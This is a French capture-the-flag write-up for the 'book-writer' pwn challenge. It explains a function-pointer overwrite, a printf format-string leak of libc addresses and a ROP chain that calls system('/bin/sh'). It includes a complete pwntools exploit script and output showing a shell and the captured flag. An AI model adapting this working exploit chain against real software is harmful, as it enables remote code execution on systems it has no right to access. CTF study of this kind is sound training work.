Prérequis : avoir lu l’explication pour book-writer-easy.
Ici le twist c’est que l’on ne peut plus utiliser la fonction win()
.
Il va donc falloir chercher ailleurs le code à utiliser.
On nous fournit sa libc, nous allons donc en profiter.
Les étapes sont les suivantes :
- récupérer l’adresse de book-writer en mémoire pour pouvoir utiliser ses imports (comme dans la version ’easy')
- utiliser
printf
pour afficher l’adresse de retour du programme dans la libc avec seulement 8 bytes non nuls comme argument - en dériver l’adresse de base de la libc -> on peut commencer à l’utiliser
- appeler
system('/bin/sh')
via une chaine ROP, car on ne peut pas passer d’argument contenant une valeur nulle (typiquement un offset) en étant appelé à la place dewrite_page()
.
Quelques remarques…
C’est impossible d’écraser *content
dans la structure du deuxième livre, c’est bien dommage on aurait pu lire directement la .got
pour trouver la base de libc.
C’était plus intéressant d’écraser *write_page
que *read_page
car avant de l’appeler le programme place des données utilisateur sur la pile (“input”), ce qui sera utile pour le ROP.
La distance adresse du retour dans libc - base libc
est dépendante de la version de libc bien sûr.
Il y avait surement plus simple, et parfois (rarement) l’exploit rate si un offset contient \x0a
.
#!/usr/bin/env python3
from pwn import *
#context.log_level = 'DEBUG'
context.arch='amd64'
debug=False
local=False
binbw=ELF('./book-writer',checksec=False)
if local:
p=process('./book-writer')
if debug:
rdbg = gdb.attach(p,gdbscript='''
# *main+0x036c = library[n]->read_page()
# *main+0x0325 = library[n]->write_page()
# break *main+0x036c
break *main+0x0325
c
''')
libc=ELF('./libc.so.6.local',checksec=False)
delta_startmain_retaddr=0x29dc0-0x29d90 # __libc_start_main - __libc_start_call_main+0x80
else:
p=remote('127.0.0.1',4000)
libc=ELF('./libc-2.36.so',checksec=False)
delta_startmain_retaddr=0x27280-0x2724a # __libc_start_main - __libc_start_call_main+0x7c
# book 1
p.sendlineafter(b'Quitter',b'1')
p.sendlineafter(b'titre',b'w00f1')
p.sendlineafter(b'pages',str(0x1000000000000000).encode()) # we want the heap
# book 2
p.sendlineafter(b'Quitter',b'1')
p.sendlineafter(b'titre',b'w00f2')
p.sendlineafter(b'pages',b'1')
# back to book 1
p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'0')
# get the first leak
p.sendlineafter(b'Quitter\n',b'4')
buff=p.recvline()
#print(enhex(buff))
ptr_read=unpack(buff[33:41])
print('livre 2, ptr read() : '+hex(ptr_read))
binbw.address=ptr_read-binbw.sym['read_page']
print('elf base address : '+hex(binbw.address))
# overwrite book2's *write_page() with printf
p.sendlineafter(b'Quitter',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
p.sendline(cyclic(32)+b'%21$lx__'+p64(binbw.sym['printf']))
# writing to book2, calling printf(struct Book *bk='%21$lx__'..)
p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'1')
p.sendlineafter(b'Quitter\n',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
p.sendline(b'who cares')
# get 2nd leak
buff=p.recvline()
off=b'\x00\x00'+unhex(buff[0:12]) # ret addr from libc_start_call_main
ret_startmain=unpack(off,endianness='big')
print('libc return address : '+hex(ret_startmain))
libc.address=ret_startmain-libc.sym['__libc_start_main']+delta_startmain_retaddr
print('libc base address : '+hex(libc.address))
rop=ROP([binbw,libc])
# overwrite book2's write_page() with stack cleaning + start roping
p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'0')
p.sendlineafter(b'Quitter\n',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
p.sendline(cyclic(32)+cyclic(8)+p64(rop.search(48).address)) # shift rsp to ROP then ret
# call book2's write_page, jumping to the rop chain
p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'1')
p.sendlineafter(b'Quitter\n',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
rop.call('system',[next(libc.search(b'/bin/sh\x00'))\])
p.sendline(rop.chain()) # max 64 bytes
p.sendline(b'uname -a')
p.interactive()
$ bookwriter ./exploit.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
livre 2, ptr read() : 0x562f8d4b31e9
elf base address : 0x562f8d4b2000
libc return address : 0x7f0fa28a724a
libc base address : 0x7f0fa2880000
[*] Loaded 5 cached gadgets for './book-writer'
[*] Loaded 196 cached gadgets for './libc-2.36.so'
[*] Switching to interactive mode
Linux 6f7f4d25d123 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64 GNU/Linux
$ cat flag.txt
FCSC{9c0a809cde815acae51618726aa7632af6e4ac9b000653ef8a607cb837995162}